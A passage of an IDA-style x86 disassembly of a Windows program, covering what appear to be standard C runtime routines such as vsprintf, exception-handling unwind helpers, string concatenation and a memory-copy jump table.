		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_418B52
; ---------------------------------------------------------------------------


loc_418B91:				; CODE XREF: sub_418AC0+B9j
					; sub_418AC0+C4j
		mov	eax, [ebp+var_4]
		mov	[ebp+arg_0], eax
		jmp	short loc_418BA2
; ---------------------------------------------------------------------------


loc_418B99:				; CODE XREF: sub_418AC0:loc_418BE7j
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_418BA2:				; CODE XREF: sub_418AC0+D7j
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		test	eax, eax
		jz	short loc_418BE9
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		sar	edx, 3
		xor	eax, eax
		mov	al, [ebp+edx+var_2C]
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	ecx, edx
		and	ecx, 7
		mov	edx, 1
		shl	edx, cl
		and	eax, edx
		test	eax, eax
		jz	short loc_418BE7
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax],	0
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_418BE9
; ---------------------------------------------------------------------------


loc_418BE7:				; CODE XREF: sub_418AC0+114j
		jmp	short loc_418B99
; ---------------------------------------------------------------------------


loc_418BE9:				; CODE XREF: sub_418AC0+EBj
					; sub_418AC0+125j
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_4]
		mov	[edx+18h], eax
		mov	ecx, [ebp+arg_0]
		cmp	ecx, [ebp+var_4]
		jnz	short loc_418BFE
		xor	eax, eax
		jmp	short loc_418C01
; ---------------------------------------------------------------------------


loc_418BFE:				; CODE XREF: sub_418AC0+138j
		mov	eax, [ebp+arg_0]


loc_418C01:				; CODE XREF: sub_418AC0+13Cj
		mov	esp, ebp
		pop	ebp
		retn
sub_418AC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C10	proc near		; CODE XREF: sub_407604+1Cp
					; sub_40F99B+19p ...

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_20]
		mov	[ebp+var_24], eax


loc_418C1F:				; CODE XREF: sub_418C10+37j
		cmp	[ebp+arg_0], 0
		jnz	short loc_418C43
		push	offset aStringNull ; "string !=	NULL"
		push	0
		push	5Ah
		push	offset aVsprintf_c ; "vsprintf.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_418C43
		int	3		; Trap to Debugger


loc_418C43:				; CODE XREF: sub_418C10+13j
					; sub_418C10+30j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_418C1F


loc_418C49:				; CODE XREF: sub_418C10+61j
		cmp	[ebp+arg_8], 0
		jnz	short loc_418C6D
		push	offset aFormatNull ; "format !=	NULL"
		push	0
		push	5Bh
		push	offset aVsprintf_c ; "vsprintf.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_418C6D
		int	3		; Trap to Debugger


loc_418C6D:				; CODE XREF: sub_418C10+3Dj
					; sub_418C10+5Aj
		xor	edx, edx
		test	edx, edx
		jnz	short loc_418C49
		mov	eax, [ebp+var_24]
		mov	dword ptr [eax+0Ch], 42h
		mov	ecx, [ebp+var_24]
		mov	edx, [ebp+arg_0]
		mov	[ecx+8], edx
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	edx, [ebp+var_24]
		mov	eax, [ebp+arg_4]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+var_24]
		push	eax
		call	sub_4209A0
		add	esp, 0Ch
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+var_24]
		mov	edx, [ecx+4]
		sub	edx, 1
		mov	eax, [ebp+var_24]
		mov	[eax+4], edx
		mov	ecx, [ebp+var_24]
		cmp	dword ptr [ecx+4], 0
		jl	short loc_418CE8
		mov	edx, [ebp+var_24]
		mov	eax, [edx]
		mov	byte ptr [eax],	0
		xor	ecx, ecx
		and	ecx, 0FFh
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+var_24]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+var_24]
		mov	[ecx], eax
		jmp	short loc_418CF9
; ---------------------------------------------------------------------------


loc_418CE8:				; CODE XREF: sub_418C10+B4j
		mov	edx, [ebp+var_24]
		push	edx
		push	0
		call	sub_420720
		add	esp, 8
		mov	[ebp+var_2C], eax


loc_418CF9:				; CODE XREF: sub_418C10+D6j
		mov	eax, [ebp+var_28]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_418C10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418D10	proc near		; CODE XREF: sub_422F70+AEp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_418D10	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418D50	proc near		; CODE XREF: sub_423450+50p

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_418D50	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418D60	proc near		; CODE XREF: sub_4231D0+247p

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_418D60	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418D70	proc near		; CODE XREF: sub_4231D0+21Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_418D70	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418D80	proc near		; CODE XREF: sub_418FD0+66p
					; sub_422F70+38p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_418DAC
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_433974	; RtlUnwind


loc_418DAC:				; DATA XREF: sub_418D80+12o
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+4]
		and	ecx, 0FFFFFFFDh
		mov	edx, [ebp+arg_4]
		mov	[edx+4], ecx
		mov	eax, large fs:0
		mov	ebx, [ebp+var_8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_418D80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418DE0	proc near		; CODE XREF: .data:00433EE5j
					; .data:00433F10j ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp+var_8], eax
		push	0
		push	0
		push	0
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4228D0
		add	esp, 20h
		mov	[ebp+var_4], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_418DE0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		mov	ecx, [eax+1Ch]
		push	ecx
		mov	edx, [ebp+8]
		mov	eax, [edx+28h]
		push	eax
		push	0
		mov	ecx, [ebp+8]
		mov	edx, [ecx+18h]
		push	edx
		call	sub_422E40
		add	esp, 10h
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E50	proc near		; CODE XREF: sub_423030+8Ap

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_14], 0
		mov	[ebp+var_10], offset sub_418EC0
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_C]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		call	sub_423530
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, [ebp+var_18]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_418E50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EC0	proc near		; DATA XREF: sub_418E50+10o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+10h]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		push	ecx
		push	0
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+0Ch]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4228D0
		add	esp, 20h
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418EC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418F00	proc near		; CODE XREF: sub_422C60+2Dp

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_418FD0
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_1C], ecx
		mov	edx, [ebp+arg_14]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], 0
		mov	[ebp+var_C], 0
		mov	[ebp+var_8], 0
		mov	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_418F9C
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_30], ecx
		mov	edx, [ebp+arg_8]
		mov	[ebp+var_2C], edx
		lea	eax, [ebp+var_30]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		push	edx
		call	sub_421920
		call	dword ptr [eax+68h]
		add	esp, 8
		mov	[ebp+var_34], 0


loc_418F9C:				; DATA XREF: sub_418F00+4Bo
		cmp	[ebp+var_4], 0
		jz	short loc_418FB9
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_418FC2
; ---------------------------------------------------------------------------


loc_418FB9:				; CODE XREF: sub_418F00+A0j
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_418FC2:				; CODE XREF: sub_418F00+B7j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_418F00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418FD0	proc near		; DATA XREF: sub_418F00+10o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		and	ecx, 66h
		test	ecx, ecx
		jz	short loc_418FF5
		mov	edx, [ebp+arg_4]
		mov	dword ptr [edx+24h], 1
		mov	eax, 1
		jmp	short loc_41904C
; ---------------------------------------------------------------------------


loc_418FF5:				; CODE XREF: sub_418FD0+12j
		push	1
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+14h]
		push	ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+10h]
		push	eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+8]
		push	edx
		push	0
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+0Ch]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4228D0
		add	esp, 20h
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx+24h], 0
		jnz	short loc_41903B
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_418D80


loc_41903B:				; CODE XREF: sub_418FD0+5Cj
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		mov	eax, 1


loc_41904C:				; CODE XREF: sub_418FD0+23j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418FD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419060	proc near		; CODE XREF: sub_4229C0+135p
					; sub_422C60+52p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, [eax+10h]
		mov	esi, [eax+0Ch]
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+arg_4]
		test	ecx, ecx
		mov	edi, esi
		mov	ebx, esi
		jl	short loc_4190B9


loc_41907E:				; CODE XREF: sub_419060+54j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_419088
		call	sub_423630


loc_419088:				; CODE XREF: sub_419060+21j
		mov	eax, [ebp+var_4]
		dec	esi
		mov	ecx, [ebp+arg_8]
		lea	edx, [esi+esi*4]
		lea	eax, [eax+edx*4]
		cmp	ecx, [eax+4]
		jle	short loc_41909F
		cmp	ecx, [eax+8]
		jle	short loc_4190A4


loc_41909F:				; CODE XREF: sub_419060+38j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4190AF


loc_4190A4:				; CODE XREF: sub_419060+3Dj
		mov	eax, [ebp+arg_4]
		mov	edi, ebx
		dec	eax
		mov	ebx, esi
		mov	[ebp+arg_4], eax


loc_4190AF:				; CODE XREF: sub_419060+42j
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jge	short loc_41907E
		mov	eax, [ebp+arg_0]


loc_4190B9:				; CODE XREF: sub_419060+1Cj
		mov	ecx, [ebp+arg_C]
		mov	edx, [ebp+arg_10]
		inc	esi
		mov	[ecx], esi
		mov	[edx], edi
		cmp	edi, [eax+0Ch]
		ja	short loc_4190CD
		cmp	esi, edi
		jbe	short loc_4190D2


loc_4190CD:				; CODE XREF: sub_419060+67j
		call	sub_423630


loc_4190D2:				; CODE XREF: sub_419060+6Bj
		mov	ecx, [ebp+var_4]
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ecx+eax*4]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_419060	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4190F0	proc near		; CODE XREF: sub_41BD64+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_419108
		push	[ebp+arg_0]
		call	sub_433974	; RtlUnwind


loc_419108:				; DATA XREF: sub_4190F0+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4190F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_419110	proc near		; DATA XREF: sub_419132+Ao
					; sub_41919A+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_419131
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_419131:				; CODE XREF: sub_419110+10j
		retn
sub_419110	endp


; =============== S U B	R O U T	I N E =======================================



sub_419132	proc near		; CODE XREF: sub_41BD64+67p
					; sub_41BD64+A7p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_419110
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41914F:				; CODE XREF: sub_419132:loc_41918Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41918C
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41918C
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41918A
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_4191C6
		call	dword ptr [ebx+esi*4+8]


loc_41918A:				; CODE XREF: sub_419132+44j
		jmp	short loc_41914F
; ---------------------------------------------------------------------------


loc_41918C:				; CODE XREF: sub_419132+2Aj
					; sub_419132+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_419132	endp


; =============== S U B	R O U T	I N E =======================================



sub_41919A	proc near		; CODE XREF: sub_42310D+4Bp
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_419110
		jnz	short locret_4191BC
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_4191BC
		mov	eax, 1

locret_4191BC:				; CODE XREF: sub_41919A+10j
					; sub_41919A+1Bj
		retn
sub_41919A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4191BD	proc near		; CODE XREF: sub_423530+1Ep
					; sub_423530+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_444EA0
		jmp	short loc_4191D0
sub_4191BD	endp


; =============== S U B	R O U T	I N E =======================================



sub_4191C6	proc near		; CODE XREF: sub_419132+4Fp
					; sub_41BD64+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_444EA0
		mov	ecx, [ebp+8]


loc_4191D0:				; CODE XREF: sub_4191BD+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_4191C6	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4191E0	proc near		; CODE XREF: .data:0040898Bp
					; sub_40B7B6+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_4191E0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_419200	proc near		; CODE XREF: sub_4092B9+8Dp
					; sub_409B9F+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_4192B4
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41922A


loc_41921B:				; CODE XREF: sub_419200+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41925B
		test	edi, 3
		jnz	short loc_41921B


loc_41922A:				; CODE XREF: sub_419200+19j
					; sub_419200+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41922A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_419268
		test	ah, ah
		jz	short loc_419263
		test	eax, 0FF0000h
		jz	short loc_41925E
		test	eax, 0FF000000h
		jnz	short loc_41922A


loc_41925B:				; CODE XREF: sub_419200+20j
		dec	edi
		jmp	short loc_41926B
; ---------------------------------------------------------------------------


loc_41925E:				; CODE XREF: sub_419200+52j
		sub	edi, 2
		jmp	short loc_41926B
; ---------------------------------------------------------------------------


loc_419263:				; CODE XREF: sub_419200+4Bj
		sub	edi, 3
		jmp	short loc_41926B
; ---------------------------------------------------------------------------


loc_419268:				; CODE XREF: sub_419200+47j
		sub	edi, 4


loc_41926B:				; CODE XREF: sub_419200+5Cj
					; sub_419200+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_419280
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_4192CC
		jmp	short loc_41929C
; ---------------------------------------------------------------------------


loc_419280:				; CODE XREF: sub_419200+75j
					; sub_419200+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_4192BA
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_4192B0
		test	esi, 3
		jnz	short loc_419280
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_4192CC


loc_41929C:				; CODE XREF: sub_419200+7Ej
					; sub_419200+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_4192B0


loc_4192A3:				; CODE XREF: sub_419200+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_4192B2
		dec	ecx
		jnz	short loc_4192A3


loc_4192B0:				; CODE XREF: sub_419200+8Bj
					; sub_419200+A1j
		mov	[edi], cl


loc_4192B2:				; CODE XREF: sub_419200+ABj
		pop	ebx
		pop	esi


loc_4192B4:				; CODE XREF: sub_419200+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4192BA:				; CODE XREF: sub_419200+85j
					; sub_419200+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4192C4:				; CODE XREF: sub_419200+E4j
					; sub_419200+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41929C


loc_4192CC:				; CODE XREF: sub_419200+7Cj
					; sub_419200+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_4192C4
		test	dl, dl
		jz	short loc_4192BA
		test	dh, dh
		jz	short loc_419318
		test	edx, 0FF0000h
		jz	short loc_419308
		test	edx, 0FF000000h
		jnz	short loc_4192C4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_419308:				; CODE XREF: sub_419200+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_419318:				; CODE XREF: sub_419200+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_419200	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419330	proc near		; CODE XREF: sub_4093EB+62p
					; sub_4093EB+6Fp ...

var_6AB7FFC0	= byte ptr -6AB7FFC0h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_419350
		cmp	edi, eax
		jb	loc_4194C8


loc_419350:				; CODE XREF: sub_419330+16j
		test	edi, 3
		jnz	short loc_41936C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41938C
		rep movsd
		jmp	off_419478[edx*4]
; ---------------------------------------------------------------------------


loc_41936C:				; CODE XREF: sub_419330+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_419384
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41938C+4[eax*4]
; ---------------------------------------------------------------------------


loc_419384:				; CODE XREF: sub_419330+46j
		jmp	dword ptr loc_419488[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41938C:				; CODE XREF: sub_419330+31j
					; sub_419330+8Ej ...
		jmp	off_41940C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4193A0
		dd offset loc_4193CC
		dd offset loc_4193F0
; ---------------------------------------------------------------------------


loc_4193A0:				; DATA XREF: sub_419330+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41938C
		rep movsd
		jmp	off_419478[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4193CC:				; DATA XREF: sub_419330+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41938C
		rep movsd
		jmp	off_419478[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_4193F0:				; DATA XREF: sub_419330+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41938C
		rep movsd
		jmp	off_419478[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41940C	dd offset loc_41946F	; DATA XREF: sub_419330:loc_41938Cr
		dd offset loc_41945C
		dd offset loc_419454
		dd offset loc_41944C
		dd offset loc_419444
		dd offset loc_41943C
		dd offset loc_419434
		dd offset loc_41942C
; ---------------------------------------------------------------------------


